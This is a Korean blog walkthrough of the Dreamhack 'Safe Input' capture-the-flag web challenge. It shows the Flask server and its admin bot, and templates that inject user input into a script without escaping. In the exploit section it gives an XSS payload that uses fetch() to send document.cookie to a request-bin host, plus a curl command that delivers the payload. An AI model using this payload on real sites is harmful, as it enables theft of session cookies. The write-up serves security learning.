보안/Web hacking

[Dreamhack] Safe Input

melonbbang-ruffy 2025. 1. 2. 19:20

일단 사이트에 들어가보자.

딱히 단서될 만한 건 없는 모양이다.

서버 코드를 살펴보자.

Code

더보기
from flask import Flask, redirect, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from time import sleep
from os import urandom, environ
from urllib.parse import quote

app = Flask(__name__)
app.secretkey = urandom(32)

FLAG = environ.get("FLAG", "DH{fake_flag}")
PASSWORD = environ.get("PASSWORD", "1234")


def access_page(text, cookie={"name": "name", "value": "value"}):
    try:
        service = Service(executable_path="/chromedriver-linux64/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get(f"http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(f"http://127.0.0.1:8000/test?text={quote(text)}")
        sleep(1)
    except Exception as e:
        print(e, flush=True)
        driver.quit()
        return False
    driver.quit()
    return True

@app.route("/", methods=["GET"])
def index():
    return redirect("/test")

@app.route("/test", methods=["GET"])
def intro():
    text = request.args.get("text")
    return render_template("test.html", test=text)


@app.route("/report", methods=["GET", "POST"])
def report():
    if request.method == "POST":
        text = request.form.get("text")
        if not text:
            return render_template("report.html", msg="fail")

        else:
            if access_page(text, cookie={"name": "flag", "value": FLAG}):
                return render_template("report.html", message="Success")
            else:
                return render_template("report.html", message="fail")
    else:
        return render_template("report.html")


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8000)

플라스크로 만들어진 웹 페이지다.

코드를 천천히 살펴보면, /test 페이지 말고도 /report 페이지가 존재하는 것을 확인할 수 있다.

@app.route("/report", methods=["GET", "POST"])
def report():
    if request.method == "POST":
        text = request.form.get("text")
        if not text:
            return render_template("report.html", msg="fail")

        else:
            if access_page(text, cookie={"name": "flag", "value": FLAG}):
                return render_template("report.html", message="Success")
            else:
                return render_template("report.html", message="fail")
    else:
        return render_template("report.html")

 post 메소드로 url의 쿼리변수 text 값을 받고 있다.

즉, http://host1.dreamhack.games:9499/test?text=<user_input> 이런 런 형식으로 된 post 요청이 들어오면 text 변수에 user_input 값을 넣고 access_page 함수의 매개변수에 text 변수를 넣어 봇이 user_input에 입력된 값에 적힌 사이트로 방문하도록 하고 있다.

def access_page(text, cookie={"name": "name", "value": "value"}):
    try:
        service = Service(executable_path="/chromedriver-linux64/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get(f"http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(f"http://127.0.0.1:8000/test?text={quote(text)}")
        sleep(1)
    except Exception as e:
        print(e, flush=True)
        driver.quit()
        return False
    driver.quit()
    return True

access_page 함수를 살펴보면 봇은 플래그 값을 포함하는 쿠키를 가지고 있는데, 주어진 text 변수값에 적힌 url 사이트를 쿠키값과 함께 방문하는 것을 확인할 수 있다. 여기서 생각해 볼 것은 임의의 request bin 사이트를 하나 만들고, 봇이 해당 사이트를 방문하도록 해서 쿠키 값을 알아내면 플래그를 탈취할 수 있을 듯 하다.

 

Exploit

html 템플릿 코드도 확인해보면, 사용자 입력값을 어떠한 검증없이 바로 받아서 변수에 직접 넣고 있는 것을 확인할 수 있다.

report.html

더보기

 

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Report</title>
    <style>
        body {
            font-family: 'Comic Sans MS', 'Comic Sans', cursive;
            background-color: #f9f9f9;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
        }
        .container {
            background-color: #fff;
            width: 300px;
            padding: 20px;
            border-radius: 10px;
            box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
            border: 1px solid #ccc;
            position: relative;
        }
        .container:before {
            content: '';
            position: absolute;
            top: 10px;
            bottom: 10px;
            left: 10px;
            right: 10px;
            border: 2px dashed #ccc;
            pointer-events: none;
        }
        .note-header {
            font-size: 1.5em;
            margin-bottom: 10px;
        }
        .note-content {
            font-size: 1em;
            line-height: 1.5;
        }
        .note-footer {
            text-align: right;
            font-size: 0.8em;
            color: #666;
        }
        form {
            display: flex;
            flex-direction: column;
        }
        input[type="text"], textarea {
            padding: 10px;
            margin: 10px 0;
            width: 100%;
            border: 1px solid #ccc;
            border-radius: 4px;
        }
        button {
            padding: 10px 20px;
            border: none;
            border-radius: 4px;
            background-color: #007bff;
            color: #fff;
            cursor: pointer;
        }
        button:hover {
            background-color: #0056b3;
        }
        .success {
            color: #28a745;
        }
        .fail {
            color: #dc3545;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="note-header">Report</div>
        <form action="/report" method="post">
            <input type="text" name="text" placeholder="Enter text for admin" required>
            <button type="submit">Submit</button>
        </form>
        <p>Please enter the text to send to the admin.</p>
        {% if message %}
            <div class="note-content">
                {% if success %}
                    <p class="success">Success</p>
                {% else %}
                    <p class="fail">Fail</p>
                {% endif %}
            </div>
        {% endif %}
        <div class="note-footer">Footer Text</div>
    </div>
</body>
</html> and the test.html is this. <!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="Content-Security-Policy" content="require-trusted-types-for 'script'; trusted-types 16007a93f75cde3710032976adfbcbab;">
    <title>Input Test</title>
    <style>
        body {
            font-family: 'Comic Sans MS', 'Comic Sans', cursive;
            background-color: #f9f9f9;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
        }
        .container {
            background-color: #fff;
            width: 300px;
            padding: 20px;
            border-radius: 10px;
            box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
            border: 1px solid #ccc;
            position: relative;
        }
        .container:before {
            content: '';
            position: absolute;
            top: 10px;
            bottom: 10px;
            left: 10px;
            right: 10px;
            border: 2px dashed #ccc;
            pointer-events: none;
        }
        .note-header {
            font-size: 1.5em;
            margin-bottom: 10px;
        }
        .note-content {
            font-size: 1em;
            line-height: 1.5;
        }
        .note-footer {
            text-align: right;
            font-size: 0.8em;
            color: #666;
        }
    </style>

</head>
<body>
    <div class="container">
        <div class="note-header">Note</div>
        <div id="content" class="note-content">Hi everyone!</div>
        <div class="note-footer">This is Test</div>
    </div>
    <script>
            const contentElement = document.getElementById('content');
            const safeInput = "Test: " + {{test|safe}};
    </script>
</body>
</html>
const safeInput = "Test: " + `{{test|safe}}`;

사용자 입력값은 javascript 코드에 직접 반영되며, 제대로 검증 및 이스케이프 처리 없이 해당 코드가 실행된다.

만약 ;로 코드의 흐름을 끊고 다시 새로운 javascript 코드를 넣은 후, 뒤를 //로 주석처리할 경우 내가 넣은 페이로드가 실행될 수 있을듯 하다.

`; fetch('https://ihchfxu.request.dreamhack.games?cookie=' + document.cookie); //

`;로 이전 코드를 마무리한후, 새로운 코드를 삽입할 수 있도록 하였다.

fetch 함수로 내가 만들어놓은 bin 사이트에 브라우저의 쿠키값을 보내고, //로 이후 코드의 실행을 막아놓았다.

위의 페이로드를 url encoding 후, wsl에서 curl로 요청을 날려보자.

curl -X POST \
     -d "text=%60%3B%20fetch%28%27https%3A%2F%2Fihchfxu.request.dreamhack.games%3Fcookie%3D%27%20%2B%20document.cookie%29%3B%20//" \
     http://host1.dreamhack.games:9499/report

curl로 요청을 날릴 때는 서버로 바로 요청을 보내는 것이기 때문에 url 인코딩 후 요청을 보내야한다.

request bin 사이트로 들어가보면

봇이 해당 사이트를 쿠키와 함께 방문했다는 것을 확인할 수 있다.

플래그 확인